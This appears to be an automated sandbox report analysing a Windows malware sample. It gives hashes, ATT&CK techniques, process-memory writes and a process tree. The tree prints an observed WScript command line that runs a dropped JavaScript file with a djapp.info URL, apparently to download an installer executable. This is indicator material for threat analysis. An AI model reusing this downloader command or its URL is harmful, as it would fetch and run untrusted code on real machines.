1d21f633b5beec96b5a777690fbbb3e4f1e2f766a9282dcce967c1100e654ccc

General

Target

17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe
Size

184KB
MD5

17d5ceebf106e989b0b4cabcdb9123dc
SHA1

95f7aabc5cbc6541160dcec0268dd89b3bf37099
SHA256

1d21f633b5beec96b5a777690fbbb3e4f1e2f766a9282dcce967c1100e654ccc
SHA512

f6cbaa4c343922aafb9499c2f58c5f399a8cfaa7d8e3a3dab96bdd3b3a0ddcb5a7c9512c1d731097a48fbbbd3fecf5a9b00e244875b90c356f95ec9dd6fb5271
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35m:/7BSH8zUB+nGESaaRvoB7FJNndnam

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	4504	WScript.exe
35	2932	WScript.exe
37	1400	WScript.exe
52	2956	WScript.exe
55	4828	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000_Classes\Local Settings	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 4504	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	84
PID 4756 wrote to memory of 4504	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	84
PID 4756 wrote to memory of 4504	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	84
PID 4756 wrote to memory of 2932	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	97
PID 4756 wrote to memory of 2932	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	97
PID 4756 wrote to memory of 2932	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	97
PID 4756 wrote to memory of 1400	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	98
PID 4756 wrote to memory of 1400	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	98
PID 4756 wrote to memory of 1400	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	98
PID 4756 wrote to memory of 2956	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	101
PID 4756 wrote to memory of 2956	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	101
PID 4756 wrote to memory of 2956	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	101
PID 4756 wrote to memory of 4828	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	102
PID 4756 wrote to memory of 4828	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	102
PID 4756 wrote to memory of 4828	4756	17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
  2⤵
  - Blocklisted process makes network request
  PID:4504
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
  2⤵
  - Blocklisted process makes network request
  PID:2932
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
  2⤵
  - Blocklisted process makes network request
  PID:1400
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
  2⤵
  - Blocklisted process makes network request
  PID:2956
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe
  2⤵
  - Blocklisted process makes network request
  PID:4828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf41AC.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
memory/4828-4-0x0000000073710000-0x0000000073722000-memory.dmp

Filesize
72KB

Download

Analysis

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